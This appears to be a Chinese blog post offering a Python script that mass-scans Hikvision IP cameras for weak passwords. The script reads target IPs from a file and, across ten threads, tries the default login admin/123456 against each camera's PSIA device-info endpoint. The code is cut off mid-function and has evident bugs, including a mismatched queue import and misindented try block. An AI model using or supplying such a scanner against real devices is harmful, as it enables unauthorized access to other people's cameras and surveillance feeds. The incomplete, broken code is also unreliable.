Python海康威视批量扫弱密码

是Python2还是3我给忘记了,大家自己试试吧。

#!/usr/bin/env python
#-*-coding:utf-8-*-
#批量筛选海康威视摄像头的弱密码
import threading
import requests
import queue
import sys
import re

def Threads():
    threadlist=[]
    queue=Queue.Queue()
    for ip in open('ip.txt','r'): #扫描出的ip
        queue.put(ip.replace('\n',''))
    for x in range(0,10):  #线程数
        th=threading.Thread(target=scan_Hikvision,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def scan_Hikvision(queue):
    while not queue.empty():
        ip=queue.get()
            try:
                print("[*]scan:"+ip)
                r = requests.get(url=("http://%s/PSIA/System/deviceinfo" % ip),auth=('admin','123456'))
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 故事有过去和现在,也许是最后把海之冬的故事回忆吧也许海之冬的故事准备消失了评我的回忆去写吧是最难买的故事故事,在每...
    野蛮开心冬阅读 5,758评论 0 11
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 174,744评论 25 709
  • 有理数,一个被翻译玩儿坏的数学概念 “你还有理了?!”当你听到父母说这句话的时候,请记住,一定不要把它理解成是一句...
    之恋1573阅读 2,778评论 4 5
  • 我给学生上“职业生涯规划”课程得时候,我会特别强调将职业规划和生活规划结合在一起作思考和计划,或许在求学期间...
    janechiou阅读 554评论 0 50
  • 1.写一两段话(如回忆一个场景),其中包含有触觉和身体感觉。 午后连蝉也躲到别处去凉快去了,静静的只有炎热的阳光炙...
    那冬阅读 155评论 1 1